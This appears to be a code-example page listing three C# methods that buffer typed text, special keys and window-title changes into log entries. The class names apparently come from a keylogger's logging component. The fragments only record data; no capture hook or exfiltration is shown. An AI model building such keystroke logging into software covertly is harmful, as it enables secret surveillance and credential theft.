예제 #1
0
        public void WriteSpecialKey(KeyLogEntry keyLogEntry)
        {
            lock (_logEntriesLock)
            {
                if (_stringBuilder != null && _stringBuilder.Length > 0)
                {
                    ((NormalText)_currentEntry).Text = _stringBuilder.ToString();
                    _stringBuilder.Length            = 0;
                }

                _currentEntry = keyLogEntry;

                LogEntries.Add(keyLogEntry);
            }

            CheckForWrite();
        }
예제 #2
0
        public void WindowChanged(string title)
        {
            lock (_logEntriesLock)
            {
                if (_stringBuilder != null && _stringBuilder.Length > 0)
                {
                    ((NormalText)_currentEntry).Text = _stringBuilder.ToString();
                    _stringBuilder.Length            = 0;
                }

                var entry = new WindowChanged(title);
                _currentEntry = entry;

                LogEntries.Add(entry);
            }

            CheckForWrite();
        }
예제 #3
0
        public void WriteString(string s)
        {
            lock (_logEntriesLock)
            {
                if (_stringBuilder == null)
                {
                    _stringBuilder = new StringBuilder();
                }

                var textEntry = _currentEntry as NormalText;
                if (textEntry == null)
                {
                    _currentEntry = new NormalText();
                    LogEntries.Add(_currentEntry);
                    _stringBuilder.Length = 0;
                }

                _stringBuilder.Append(s);
            }

            CheckForWrite();
        }